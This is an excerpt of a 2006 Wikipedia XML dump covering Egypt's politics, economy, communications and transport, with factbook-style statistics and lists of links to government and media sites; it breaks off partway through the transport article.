The [[Shura Council (Egypt)|Shura Council]] is the 264-member upper house of Parliament created in 1980. The Shura Council roughly translates to the ‘Consultative Council’ in English. In the Shura Council 174 members are directly elected and 88 members are appointed by the President of the Republic for six-year terms. One half of the Shura Council is renewed every three years. 

The Shura Council's legislative powers are limited. On most matters of legislation, the People’s Assembly retains the last word in the event of a disagreement between the two houses.

===Parliamentary elections===
There currently exist eighteen recognized political parties from across the political spectrum. The formation of political parties based on religion is prohibited by the Constitution. The official opposition and political pressure groups, like the [[Muslim Brotherhood]], are active in Egypt and make their views public. They are represented at various levels in the political system. However, power is concentrated in the hands of the President of the Republic and the [[National Democratic Party (Egypt)|National Democratic Party]] which retains a super-majority in the People's Assembly. 

The November 2000 Parliamentary Elections are generally regarded to have been more transparent and better executed than past elections. This is due to the new Law put into force establishing universal judicial monitoring of polling stations. On the other hand, opposition parties continue to lodge credible complaints about electoral manipulation by the government. There are significant restrictions on the political process and freedom of expression for non-governmental organizations, including professional syndicates and organizations promoting respect for human rights which have been greatly loosened up in the past five years.

Below the national level, authority is exercised by and through governors and mayors appointed by the central government and by popularly elected local councils.

==Judicial branch==
''Main Article: [[The Egyptian Judicial System]]''
&lt;BR&gt;&lt;BR&gt;
The Egyptian judicial system is based on European, primarily French, legal concepts and methods. Under the several governments during the presidency of Mubarak, the courts have demonstrated increasing independence, and the principles of due process and judicial review have gained greater respect. The legal code is derived largely from the [[Napoleonic Code]]. Marriage and personal status are primarily based on the religious law of the individual concerned. Thus, there are three forms of Family Law in Egypt, Islamic, Christian, and secular (based on the French Family Laws).&lt;BR&gt;
The judicial branch plays an important role in the political process in Egypt, the branch is given the responsibility to monitor and run the country's parliamentary and presidential elections.

=== Supreme Constitutional Court ===

''Main Article: [[The Supreme Constitutional Court of Egypt]]''&lt;BR&gt;&lt;BR&gt;
The '''Supreme Constitutional Court''' is an independent judiciary body in the Arab Republic of Egypt, with its new seat in the [[Cairo]] suburban, [[Maadi]].&lt;BR&gt;
The Court is the highest judicial power in [[Egypt]] and it alone undertakes the judicial control in respect of the constitutionality of the laws and regulations and shall undertake the interpretation of the legislative texts in the manner prescribed by law. &lt;BR&gt;
The chief judge of the Supreme Court was the head of the Presidential Election Commission that supervised and ran the country's first multi-candidate presidential elections in 2005.

==Political parties and elections==
According to the Egyptian Constitution, political parties are allowed to exist. Religious political parties that are banned from being formed in Egypt. Also political parties that encourage militia formations or that has an agenda that is contradictory to the constitution or threatening to the country's stability such as the national unity between the Muslims and copts in Egypt.

Today, there are 18 political parties in Egypt.
{{elect|List of political parties in Egypt|Elections in Egypt}}
{{Egyptian parliamentary election, 2005}}
{{Main|Egyptian parliamentary election, 2005}}
{{Egyptian presidential election, 2005}}
{{Main|Egyptian presidential election, 2005}}

==Civil Society==

Egyptians have been living under emergency law since 1967, except for an 18-month break in 1980. Emergency laws have been continuously extended every three years since 1981. These laws sharply circumscribe any non-governmental political activity: street demonstrations, non-approved political organizations, and un-registered financial donations are formally banned. Nonetheless, since 2000, these restrictions have been violated in practice. New non-governmental organizations and activity first emerged around solidarity with the [[Palestinians]] during the second Intifada and continued with opposition to the invasion of Iraq. The [[Popular Committee in Solidarity with the Palestinian Intifada]] (PCSPI), which operates on a grassroots basis, and has held a variety of unlicensed activities, has formed a model for nongovernmental action. In 2005, the agenda shifted towards democratic reforms, opposition to the succession of Gamal Mubarak as president, and rejection of violence by state security forces. Groups involved in the latest wave include PCSPI, the Egyptian Movement for Change ([[Kifaya]] (Enough)), and the Association for Egyptian Mothers.

Substantial peasant activism exists on a variety of issues, especially related to [[land rights]] and [[land reform]]. A major flashpoint was the 1997 repeal of Nasser-era land reform policies under pressure for [[structural adjustment]]. A pole for this activity is the [[Land Center for Human Rights]].

Despite a constitutional ban against religious-based parties, the technically illegal [[Muslim Brotherhood]] constitutes Mubarak's  potentially most significant political opposition; Mubarak tolerated limited political activity by the Brotherhood for his first two terms, but has moved more aggressively in the past six years to block its influence; trade unions and professional associations are officially sanctioned

==CIA Facts and Statistics==
'''Country name'''
''conventional long form:''
Arab Republic of Egypt
''conventional short form:''
Egypt.
''local long form:''
Jumhuriyat Misr al-Arabiyah (Arabic: جمهوريّة مصر العربيّة).
''local short form:''
Misr (Arabic: مصر).
''former:''
[[United Arab Republic]] (with [[Syria]]).

'''Data code'''
[[EG]].

'''Government type'''
[[Republic]].

'''Capital'''
[[Cairo]] (Arabic: القاهرة, Romanization: Al-Qāhira(t))

'''Administrative divisions'''
[[Governorates of Egypt|26 governorates]] ''(muhafazat;'' singular &amp;ndash; ''muhafazah):''

[[Ad Daqahliyah]], [[Al Bahr al Ahmar, Egpyt|Al Bahr al Ahmar]], [[Al Buhayrah]], [[Al Fayyum]], [[Al Gharbiyah]], [[Al Iskandariyah]], [[Al Isma'iliyah]], [[Al Jizah]], [[Al Minufiyah]], [[Al Minya]], [[Al Qahirah]], [[Al Qalyubiyah]], [[Al Wadi al Jadid]], [[Ash Sharqiyah, Egypt|Ash Sharqiyah]], [[As Suways]], [[Aswan]], [[Asyut]], [[Bani Suwayf]], [[Bur Sa'id]], [[Dumyat]], [[Janub Sina']], [[Kafr ash Shaykh]], [[Matruh]], [[Qina]], [[Shamal Sina']], [[Suhaj]].

'''Independence'''
[[28 February]] [[1922]] (from [[United Kingdom]])

'''National holiday'''
Anniversary of the Revolution, [[23 July]] (1952)

'''Constitution'''
[[11 September]] [[1971]]

'''Legal system'''
Based on English common law, Islamic law, and Napoleonic codes; judicial review by Supreme Court and Council of State (oversees validity of administrative decisions); accepts compulsory ICJ jurisdiction, with reservations.

'''Suffrage'''
18 years of age; universal and compulsory&lt;!-- ?turnout in the presidential election was about 20%--&gt;.

'''Executive branch'''
''Chief of State:''
President [[Hosni Mubarak|Mohammed Hosni MUBARAK (حسني مبارك محمد)]] (since [[14 October]] [[1981]]).
''Head of Government:''
Prime Minister Ahmed Nazif (since July 2004).
''Cabinet:''
Cabinet appointed by the president.
''Elections:''
President nominated by the People's Assembly for a six-year term, the nomination must then be validated by a national, popular referendum; national referendum last held [[26 September]] [[1999]] (next to be held NA October 2005); prime minister appointed by the president.
''Election results:''
national referendum validated President MUBARAK's nomination by the People's Assembly to a fourth term.

'''Legislative branch'''
bicameral system consists of the People's Assembly or Majlis al-Sha'b (454 seats; 444 elected by popular vote, 10 appointed by the president; members serve five-year terms) and the Advisory Council or Majlis al-Shura - which functions only in a consultative role (264 seats; 176 elected by popular vote, 88 appointed by the president; members serve NA-year terms)
''elections:''
People's Assembly - last held [[29 November]] [[1995]] (next to be held NA November 2000); Advisory Council - last held [[7 June]] [[1995]] (next to be held NA)
''election results:''
People's Assembly - percent of vote by party - NDP 72%, independents 25%, opposition 3%; seats by party - NDP 317, independents 114, NWP 6, NPUG 5, Nasserist Arab Democratic Party 1, LSP 1; Advisory Council - percent of vote by party - NDP 99%, independents 1%; seats by party - NA

'''Judicial branch'''
Supreme Constitutional Court

'''Political parties and leaders'''
[[Democratic Union Party (Egypt)|Democratic Unionist Party]] [[Mohammed 'Abd-al-Mun'im Turk]]; [[Egyptian Greens]] Party [[Kamal Kirah]]; [[Misr El-Fatah (Young Egypt) Party]] [[leader NA]]; [[Nasserist Party|Nasserist Arab Democratic Party]] [[Dia' al-din Dawud]]; [[National Democratic Party (Egypt)|National Democratic Party]] or NDP President [[Hosni Mubarak|Mohammed Hosni Mubarak]], leader - governing party; [[National Progressive Unionist Party]] [[Khalid Muhi Al-Din]]; [[New Wafd Party]] or NWP [[Fu'ad Siraj Al-Din]]; [[The Social Justice Party|Social Justice Party]] [[Muhammad 'Abdal-'Al]]; [[The Socialist Labour Party]] or SLP [[Ibrahim Shukri]]; [[Liberal Party (Egypt)|Socialist Liberal Party]] or LSP [[Mustafa Kamal Murad]]; [[Umma Party (Egypt)|Umma Party]] [[Ahmad al-Sabahi]].

Note: the formation of political parties must be approved by the government.

'''Political pressure groups and leaders'''
Despite a constitutional ban against religious-based parties, the technically illegal [[Muslim Brotherhood]] constitutes Mubarak's  potentially most significant political opposition; Mubarak tolerated limited political activity by the Brotherhood for his first two terms, but has moved more aggressively in the past six years to block its influence; trade unions and professional associations are officially sanctioned. Egyptians have been living under emergency law since 1967, except for an 18-month break in 1980. Emergency laws have been continuously extended every three years since 1981.

'''Foreign Minister'''
[[Ahmad Abu El Gheet]]

'''International organization participation'''
[[ABEDA]], [[Arab Cooperation Council|ACC]], [[ACCT]] (associate), [[AfDB]], [[AFESD]], [[Arab League|AL]], [[AMF]], [[BSEC]] (observer), [[CAEU]],[[CTBT]], [[EBRD]], [[United Nations Economic Commission for Africa|ECA]], [[ESCWA]], [[Food and Agriculture Organization|FAO]], [[G-15]], [[G-19]], [[G-24]], [[G-77]], [[IAEA]], [[IBRD]], [[ICAO]], [[International Chamber of Commerce|ICC]], [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[Islamic Development Bank|IDB]], [[IFAD]], [[IFC]], [[IFRCS]], [[IHO]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization|IMO]], [[Inmarsat]], [[Intelsat]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]], [[International Organization for Standardization|ISO]], [[International Telecommunication Union|ITU]], [[MINURSO]], [[MONUC]], [[Non-Aligned Movement|NAM]], [[OAPEC]], [[Organization of American States|OAS]](observer), [[OAU]], [[Organization of the Islamic Conference|OIC]], [[Organization for Security and Co-operation in Europe|OSCE]] (partner), [[Permanent Court of Arbitration|PCA]], [[UN]], [[UNAMSIL]], [[UNCTAD]], [[UNESCO]], [[UNIDO]], [[UNITAR]], [[UNMIBH]], [[UNMIK]], [[UNMOP]], [[UNOMIG]], [[UNRWA]], [[UNTAET]], [[UPU]], [[World Customs Organization|WCO]],[[WFTU]], [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTrO]]

==Flag description==
:''See: [[Flag of Egypt]]''

It consists of three equal horizontal bands of red (top), white, and black with the national emblem (a shield superimposed on a golden [[eagle]] facing the hoist side above a scroll bearing the name of the country in [[Arabic language|Arabic]]) centered in the white band; similar to the flag of Yemen, which has a plain white band; also similar to the flag of [[Syria]], which has two green stars, and to the flag of [[Iraq]], which has three green stars (plus an Arabic inscription) in a horizontal line centered in the white band

==External links==
'''General government sites'''
*[http://www.egypt.gov.eg/ Official Egyptian Government Portal]
*[http://www.investment.gov.eg/ '''E'''gyptian '''I'''nvestment '''P'''ortal] official government site
*[http://www.sis.gov.eg/ Egypt State Information Service] official government site
*[http://www.presidency.gov.eg/ The Egyptian Presidency]
*[http://www.parliament.gov.eg/EPA/en/Index.jsp The People Assembly of Egypt]
*[http://www.shoura.gov.eg/ Egyptian Shoura Council]

'''Ministries'''
*[http://www.idsc.gov.eg/ Council of Ministers]
*[http://www.agri.gov.eg/ Ministry of Agriculture and Land Reclamation]
*[http://www.mfa.gov.eg/ Ministry of Foreign Affairs]
*[http://www.emigration.gov.eg/ Ministry of Manpower and Emigration]
*[http://www.eeaa.gov.eg/ Ministry of State for Environmental Affairs] 
*[http://www.mwri.gov.eg/ Ministry of Irrigation and Water Resources]
*[http://www.alshabab.gov.eg/ Ministry of Youth] 
*[http://www.mop.gov.eg/ Ministry of Planning] 
*[http://www.mfti.gov.eg/ Ministry of Economy]
*[http://www.mof.gov.eg/ Ministry of Finance]
*[http://www.emp.gov.eg/ Ministry of Petroleum] 
*[http://www.scc.gov.eg/ Ministry of Culture]
*[http://www.investment.gov.eg/ Ministry of Investment]
*[http://www.emoe.org/ Ministry of Education]
*[http://www.assembly.gov.eg/ Ministry of People's Assembly]
*[http://www.senate.gov.eg/ Ministry of Shura Council Affairs]
*[http://www.egypttourism.org/ Ministry of Tourism]
*[http://www.mohp.gov.eg/ Ministry of Health and Population]
*[http://www.egy-mhe.gov.eg/ Ministry of Higher Education and Scientific Research]
*[http://www.mld.gov.eg/ Ministry of State for Local Development] 
*[http://www.moft.gov.eg/ Ministry of Foreign Trade &amp; Industry] 
*[http://www.moee.gov.eg/ Ministry of Electricity and Energy]
*[http://www.mic.gov.eg/ Ministry of International Cooperation]
*[http://www.mcit.gov.eg/ Ministry of Communication and Information Technology (MCIT)]
*[http://www.minfo.gov.eg/ Ministry of Information]
*[http://www.ad.gov.eg/ Ministry of State for Administrative Development]
*[http://www.nuca.com.eg/ Ministry of Housing, Utilities, and Urban Communities]
*[http://www.ngolaw.org.eg/ Ministry of Interior Affairs]
*[http://msht.tripod.com/ Ministry of Supply and Home Trade]
*[http://www.mmc.gov.eg/ Ministry of Defense and Military Production]
*[http://www.manpower.gov.eg/ Ministry of Manpower and Emigration] 

'''Political parties'''
*[http://www.ndp.org.eg/ National Democratic Party (NDP)] 
*[http://www.elghad.org/ El-Ghad Party]
*[http://www.alwafd.org/front/index.php/ New-Wafd Party (NWP)]
*[http://www.egyptiangreens.com/ Egyptian Greens]

{{Africa in topic|Politics of}}

[[Category:Politics of Egypt|Politics of Egypt]]

[[pt:Política do Egipto]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Egypt</title>
    <id>9351</id>
    <revision>
      <id>40980853</id>
      <timestamp>2006-02-24T06:57:43Z</timestamp>
      <contributor>
        <ip>202.133.64.52</ip>
      </contributor>
      <comment>/* Agriculture */</comment>
      <text xml:space="preserve">{{Life in Egypt}}
==Overview==
A series of [[International Monetary Fund]] arrangements, coupled with massive external debt relief resulting from [[Egypt|Egypt's]] participation in the [[Gulf War]] coalition, helped Egypt improve its macroeconomic performance during the [[1990s]]. Through sound fiscal and monetary policies, [[Cairo]] tamed inflation, slashed budget deficits, and built up foreign reserves. Although the pace of structural reforms, such as privatization and new business legislation, has been slower than the IMF envisioned, Egypt's steps toward a more market-oriented economy have prompted increased foreign investment. Lower combined hard currency inflows - from tourism, worker remittances, oil revenues, and Suez Canal tolls - in 1998 and the first half of 1999 resulted in pressure on the Egyptian pound and sporadic dollar shortages, but external payments were not in crisis. Despite ample reserves, the Central Bank did not provide sufficient hard currency to commercial banks and Cairo restricted imports for a short period; these developments confirmed to some investors and currency traders that government financial operations lack sufficient coordination and openness. Monetary pressures have since eased, however, with the continued oil price recovery starting in mid-1999 and a moderate rebound in tourism. Increased gas exports are a major plus factor in future growth.

==Economy: in greater detail==
Under comprehensive [[economic reform]]s initiated in 1991, Egypt has relaxed many [[price control]]s, reduced subsidies, and partially liberalized trade and [[investment]]. [[Manufacturing]] is still dominated by the [[public sector]], which controls virtually all heavy industry. A process of public sector reform and privatization has begun, however, which could enhance opportunities for the [[private sector]]. [[Agriculture]], mainly in private hands, has been largely deregulated, with the exception of cotton and sugar production. Construction, non-financial services, and domestic marketing are largely private. This has promoted a steady increase of [[gross national product|GNP]] and the annual [[growth rate]]. Among Arab countries, Egypt's GDP is second only to [[Saudi Arabia]]'s. However, the Egyptian economy relies heavily on tourist revenues. The [[tourism]] sector suffered tremendously following a terrorist attack on tourists in [[Luxor]] in October 1997, and the [[September 11, 2001 attacks]] against the United States, affecting the economy as a whole.

===Agriculture===
Approximately one-third of Egyptian labor is engaged directly in [[farming]], and many others work in the processing or trading of agricultural products. Practically all Egyptian agriculture takes place in some 25,000 km&amp;sup2; (6 million acres) of fertile soil in the Nile Valley and Delta. Some desert lands are being developed for agriculture, including the ambitious [[Toshka project]] in [[Upper Egypt]], but some other fertile lands in the [[Nile Valley]] and Delta are being lost to urbanization and erosion. 

Warm weather and plentiful water permit several crops a year. Further improvement is possible, but land is worked intensively and yields are high. [[Cotton]], [[rice]], [[wheat]], [[maize|corn]], [[sugarcane]], [[sugar beet]]s, [[onion]]s, and [[bean]]s are the principal crops. Increasingly, a few modern operations are producing fruits, vegetables and flowers, in addition to cotton, for export. While the desert hosts some large, modern farms, more common traditional farms occupy one acre (4,000 m&amp;sup2;) each, typically in a canal-irrigated area along the banks of the Nile. Many small farmers also have [[cow]]s, [[water buffalo]]es, and [[chicken]], although larger modern farms are becoming more important.

The [[United States]] is a major supplier of [[wheat]], [[maize|corn]], and [[soybean]] products to Egypt, almost all through commercial sales. Egypt is, in fact, the U.S.'s largest market for wheat sales. U.S. agricultural sales to Egypt total $1 billion annually. U.S. food assistance programs to Egypt ended in 1992 as Egypt became more prosperous. Egypt continues to receive modest food assistance through the [[World Food Programme|World Food Program]] and from [[France]].

&quot;Egypt,&quot; wrote the Greek historian [[Herodotus]] 25 centuries ago, &quot;is the gift of the Nile.&quot; The land's seemingly inexhaustible resources of water and soil carried by this mighty river created in the Nile Valley and Delta the world's most extensive oasis. Without the Nile, Egypt would be little more than a desert wasteland.

The river carves a narrow, cultivated [[floodplain]], never more than 20 kilometers wide, as it travels northward toward [[Cairo]] from [[Lake Nasser]] on the [[Sudan]]ese border, behind the [[Aswan High Dam]]. Just north of Cairo, the Nile spreads out over what was once a broad estuary that has been filled by riverine deposits to form a fertile delta about 250 kilometers wide (150 mi.) at the seaward base and about 160 kilometers (96 mi) from south to north.

Before the construction of dams on the Nile, particularly the Aswan High Dam (started in 1952, completed in 1970), the fertility of the Nile Valley was sustained by the water flow and the silt deposited by the annual flood. Sediment is now obstructed by the Aswan High Dam and retained in Lake Nasser. The interruption of yearly, natural fertilization and the increasing salinity of the soil has been a manageable problem resulting from the dam. The benefits remain impressive: more intensive farming on thousands of square kilometres of land made possible by improved irrigation, prevention of flood damage, and the generation of millions of gigajoules of electricity at low cost.

The [[Western Desert]] accounts for about two-thirds of the country's land area. For the most part, it is a massive sandy plateau marked by seven major depressions. One of these, Fayoum, was connected about 3,600 years ago to the Nile by canals. Today, it is an important irrigated agricultural area.

===Natural Resources===
In addition to the agricultural capacity of the Nile Valley and Delta, Egypt's natural resources include [[petroleum]], [[natural gas]], [[phosphate]]s, and [[iron ore]]. Crude oil is found primarily in the [[Gulf of Suez]] and in the Western Desert. Natural gas is found mainly in the [[Nile Delta, off the Mediterranean sea shore, and in the Western Desert]]. Oil and gas accounted for approximately 7% of [[gross domestic product|GDP]] of fiscal year 2000-01.

Export of petroleum and related products amounted to $2.6 billion in the year 2000. In late 2001, Egypt's benchmark &quot;Suez Blend&quot; was about $16.73 per barrel ($105/m&amp;sup3;), the lowest price since 1999.

[[Crude oil]] production has been in decline for several years, from 45,200,000 t in 1993/1994 to 37,000,000 t in 1999/2000. Oil production in late 2001 was about 118,000 m&amp;sup3; (740,000 barrels) per day. To minimize the growing domestic demand of petroleum products (approximately 23 million [[metric ton]]s [mmt]) Egypt is encouraging the production of natural gas. Natural gas output continues to increase and reached 18 mmt of oil equivalent in 2001.

Over the last 20 years, more than 217 oil exploration agreements have been signed and multinational oil companies spent more than $27 billion in exploration companions. These activities let to the findings of about 18 crude oil fields and 16 natural gas fields. As a result of these findings, crude oil reserves as of September 2001 are estimated at 445 million m&amp;sup3; (2.8 billion barrels), and proven natural gas reserves are 1,600 km&amp;sup3; (55 trillion ft&amp;sup3;) with a likely additional 1,800 km&amp;sup3; (65 trillion ft&amp;sup3;). Texas-based [[Apache Oil Company]] is the largest American investor in Egypt, with a total investment of more than $1.6 billion since 1996.

Egypt's excess of natural gas will more than meet its domestic demand for many years to come. The [[Ministry of Petroleum]] has established expanding the Egyptian petrochemical industry and increasing exports of natural gas as its most significant strategic objectives.

Egypt and [[Jordan]] are cooperating to establish the [[Eastern Gas Company]] to export natural gas to Jordan; the expected date of completion is by mid-2003. It is estimated that Egypt will be able to export to Jordan 1.1 to 3 km&amp;sup3; of gas per year. Total investment in this project is about $220 million.

==Statistics==

'''GDP:'''
purchasing power parity - $295.2 billion (2003 est.)

'''GDP - real growth rate:'''
3.1% (2003 est.)

'''GDP - per capita:'''
purchasing power parity - $4,000 (2003 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
17%
&lt;br&gt;''industry:''
32%
&lt;br&gt;''services:''
51% (1999)

'''Population below poverty line:'''
16.7% (2000)

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
3.9%
&lt;br&gt;''highest 10%:''
26.7% (1991)

'''Inflation rate (consumer prices):'''
3.7% (1999)

'''Labor force:'''
19 million (1999 est.)

'''Labor force - by occupation:'''
agriculture 40%, services 38%, industry 22% (1990 est.)

'''Unemployment rate:'''
9.9% (2003 est.)

'''Budget:'''
&lt;br&gt;''revenues:''
$20.7 billion
&lt;br&gt;''expenditures:''
$22.3 billion, including capital expenditures of $NA (FY98/99)

'''Industries:'''
textiles, food processing, tourism, chemicals, petroleum, construction, cement, metals

'''Industrial production growth rate:'''
5% (1999 est.)

'''Electricity - production:'''
69,960 GWh (2001)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
78.72%
&lt;br&gt;''hydro:''
21.28%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
54,000 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
cotton, rice, corn, wheat, beans, fruits, vegetables; cattle, water buffalo, sheep, goats; fish

'''Exports:'''
$8.7 billion (f.o.b., 2003 est.)

'''Exports - commodities:'''
crude oil and petroleum products, cotton, textiles, metal products, chemicals

'''Exports - partners:'''
EU 47%, US 14%, Turkey 8% (1998)

'''Imports:'''
$14.7 billion (f.o.b., 2003 est.)

'''Imports - commodities:'''
machinery and equipment, foods, chemicals, wood products, fuels

'''Imports - partners:'''
EU 42%, US 16%, Japan 5% (1998)

'''Debt - external:'''
$30 billion (1999 est.)

'''Economic aid - recipient:'''
ODA, $2.25 billion (1999)

'''Currency:'''
1 Egyptian pound = 100 piasters

'''Exchange rates:'''
Egyptian pounds per US$1 - market rate - 5.7700 (September 2005), 3.4050 (January 2000), 3.4050 (1999), 3.3880 (1998), 3.3880 (1997), 3.3880 (1996), 3.3900 (1995)

'''Fiscal year:'''
[[1 July]] - [[30 June]]

==See also== 
* [[Egypt]]
* [[List of Egyptian companies]]

*[http://www.businesstodayegypt.com/ Business Today Egypt] magazine

{{WTO}}

[[Category:WTO members|Egypt]]
[[Category:Economy of Egypt| ]]
[[Category:African Union member economies|Egypt]]
[[es:Economía de Egipto]]
[[pt:Economia do Egipto]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Egypt</title>
    <id>9352</id>
    <revision>
      <id>42091157</id>
      <timestamp>2006-03-03T19:44:00Z</timestamp>
      <contributor>
        <username>Bwithh</username>
        <id>472456</id>
      </contributor>
      <comment>/* Television */ MBC moved to Dubai a few years ago.</comment>
      <text xml:space="preserve">[[Egypt]] has long been the cultural and informational centre of the [[Arab]] world, and [[Cairo]] is the region's largest [[publishing]] and [[broadcasting]] centre. 

== Television ==
Egyptian ground-broadcast television (ETV) is government controlled and depends heavily on commercial revenue. ETV sells its specially produced programs and soap operas to the entire Arab world. In addition to Egyptian programming, the [[Middle East Broadcasting Center]], a Saudi television station transmitting from [[Dubai]] (MBC), [[Arab Radio and Television]] (ART), [[Al Jazeera]] television, and other Gulf stations are available, as well as Western networks, to Egyptians who own satellite receivers.&lt;BR&gt;
&lt;BR&gt;
ETV has two main channels, six regional channels, and three satellite channels. Of the two main channels, Channel I uses mainly Arabic, while Channel II is dedicated to foreigners and more cultured viewers, broadcasting news in English and French as well as Arabic.&lt;BR&gt;
&lt;BR&gt;
Egyptian Satellite channels broadcast to the [[Middle East]], [[Europe]], and the [[United States]] East Coast. In April 1998, Egypt launched its own satellite known as [[NileSat 101]]. Seven specialized channels cover news, culture, sports, education, entertainment, health, and drama. A second, digital satellite, Nilesat 102, was launched in August 2000. Many of its channels are rented to other stations.&lt;BR&gt;
&lt;BR&gt;
Three new private satellite-based TV stations were launched in November 2001, marking a great change in Egyptian government policy. Dream TV 1 and 2 produce cultural programming, broadcast contemporary video clips and films featuring Arab and international actors, as well as [[soap opera]]s; another private station focuses on business and general news. Both private channels transmit on NileSat.

== Radio ==
Radio in Egypt also is mainly government controlled, using 44 short-wave frequencies, 18 medium-wave stations, and four [[FM station]]s. There are seven regional radio stations covering the country. [[Egyptian Radio]] transmits 60 hours daily overseas in 33 languages and three hundred hours daily within Egypt. The Local European Service of Radio Cairo provides transmission throughout Egypt to foreign expatriates and foreign-language speaking communities in 6 languages, including Armenian, [http://www.cairoradio.net English], French, German, Greek and Italian.&lt;BR&gt;
In 2000, [[Radio Cairo]] introduced new specialized (thematic) channels on its FM station. So far, they include news, music, and sports. Radio enjoys more freedom than TV in its news programs, [[talk show]]s and analysis.&lt;BR&gt;
In 2003, Nile Radio Productions (NRP), a private enterprise obtained license to establish two private music channels broadcasting to the Greater Cairo Area; [http://www.nilefmonline.com NileFM] (English speaking dedicated for new western music) and [[NogoomFM]] (Arabic-speaking dedicated to modern Arabic pop). Both stations won almost immediate boost in popularity among the cairo residents.

== Printed Media ==
There are eight daily newspapers with a total circulation of more than 2 million, and a number of monthly newspapers, magazines, and journals. The majority of political parties have their own newspapers, and these papers conduct a lively, often highly partisan, debate on public issues.&lt;BR&gt;

* [http://www.ahram.org.eg// Al-Ahram Daily Newspaper]
* [http://www.ahram.org.eg/weekly/ Al-Ahram Weekly]
* [http://hebdo.ahram.org.eg/ Al-Ahram Hebdo]
* [http://www.akhbarelyom.org.eg/ Akhbar elyom]
* [http://www.elakhbar.org/ Al-Akhbar]
* [http://www.algomhuria.net.eg/ Al-Gomhuria]
* [http://www.elosboa.com/ Al-Osboa]
* [http://www.egyptdailynews.com/ Egypt Daily News]
* [http://www.cairotimes.com/ Cairo Times]
* [http://www.siyassa.org.eg/esiyassa/default.htm/ The International Politics Journal]
* [http://www.egypttoday.com// Egypt Today]
* [http://www.al-araby.com/ Al-Araby Newspaper]
* [http://www.algomhuria.net.eg/gazette/ The Egyptian Gazette]
* [http://www.metimes.com/ Middle East Time]
* [http://www.businesstodayegypt.com/ Business Today]
* [http://www.kelmetnaonline.com/ Kelmetna Online]
* [http://www.al-ahaly.com/ Al-Ahaly Newspaper]
* [http://www.campus-magazine.com/ Campus Magazine Egypt]
* [http://www.egyptinsight.com/ Egypt Insight]
* [http://www.mayoeg.net/ Mayo Newspaper]
* [http://www.sinaitimes.com/ Sinai Times]
* [http://www.watani.com.eg Watani Newspaper]
* [http://www.egysportsmagazine.com/ Egypt Sports]
* [http://www.alkaheranews.gov.eg/ Al-Kahera Newspaper]
* [http://www.rosaonline.net/ Rosa El-Yousef Magazine]
* [http://www.teenstuffonline.com/ Teen Stuff Magazine]
* [http://www.al-mydan.com/ Al-Maydan Newspaper]
* [http://www.charisma-magazine.com/ Charisma Lifestyle Magazine]
* [http://www.elfagr.org/ El-Fagr Newspaper]
* [http://www.arabambassador.org/ Arab Ambassador Newspaper]
* [http://www.alwafd.org/front/index.php?PHPSESSID=61ed4d2f48e9c67afd66d49929b827c1/ Al-Wafd Newspaper]

== Statistics ==

'''[[Telephone]]s - main lines in use:'''
8.735 million (2003)

'''Telephones - mobile cellular:'''
5,797,500 (2003)

'''Telephone system:'''
large system; underwent extensive upgrading during 1990s and is reasonably modern; Internet access and cellular service are available; [[Internet]] access available
&lt;br&gt;''domestic:''
principal centers at [[Alexandria]], [[Cairo]], [[Al Mansurah]], [[Ismailia]], [[Suez]], and [[Tanta]] are connected by [[coaxial cable]] and [[microwave]] [[radio]] relay
&lt;br&gt;''international:''
[[satellite]] earth stations - 2 [[Intelsat]] ([[Atlantic Ocean]] and [[Indian Ocean]]), 1 [[Arabsat]], and 1 [[Inmarsat]]; 5 coaxial submarine cables; tropospheric scatter to [[Sudan]]; microwave radio relay to [[Israel]]; a participant in [[Medarabtel]] and a signatory to [[Project Oxygen]] (a global submarine [[fiber-optic cable]] system)

'''Radio [[Broadcasting|broadcast]] stations:'''
AM 42 (plus 15 repeater stations), FM 14, shortwave 3 (1999)

'''Radios:'''
20.5 million (1997)

'''Television broadcast stations:'''
98 (September 1995)

'''Televisions:'''
7.7 million (1997)

'''[[Internet Service Provider]]s (ISPs):'''
31 (1999)

'''[[Country code]]:''' EG

:''See also :'' [[Egypt]]

==References==
*[http://www.state.gov/r/pa/ei/bgn/5309.htm Public domain text from State.gov]
* [http://www.arabo.com/links/,227,213,209/,213,205,221/ List of Egyptian Newspapers and Magazines]

[[Category:Communications by country|Egypt]]
[[Category:Communications in Egypt| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Egypt</title>
    <id>9353</id>
    <revision>
      <id>37832528</id>
      <timestamp>2006-02-02T11:53:25Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in Egypt]] to [[Transport in Egypt]]: part of a series</comment>
      <text xml:space="preserve">[[Transport]] facilities in [[Egypt]] are centered in [[Cairo]] and largely follow the pattern of settlement along the [[Nile]]. The main line of the nation's 4,800-kilometer (2,800-mi.) [[railway]] network runs from [[Alexandria]] to [[Aswan]]. The well-maintained road network has expanded rapidly to over 21,000 miles, covering the [[Nile Valley]] and [[Nile Delta]], [[Mediterranean Sea|Mediterranean]] and [[Red Sea]] coasts, the [[Sinai]], and the Western oases.

[[Egypt Air]] provides reliable domestic air service to major tourist destinations from its Cairo hub, in addition to overseas routes. The Nile River system (about 1,600 km. or 1,000 mi.) and the principal canals (1,600 km.) are important locally for transport. &lt;BR&gt;
The [[Suez Canal]] is a major waterway of international commerce and navigation, linking the [[Mediterranean]] and [[Red Sea]]. The ministry of transportation, along with other governmental bodies are responsible for [[Transportation in Egypt|transportation in Egypt]]. Major ports are [[Alexandria]], [[Port Said]], and [[Damietta]] on the Mediterranean, and [[Suez]] and [[Safaga]] on the Red Sea.



==Highways==

''total:'' 64,000 km

''paved:'' 49,984 km

''unpaved:'' 14,016 km (1996 est.)

== Waterways ==
3,500 km (including the [[Nile]], [[Lake Nasser]], Alexandria-Cairo Waterway, and numerous smaller canals in the delta). &lt;BR&gt;
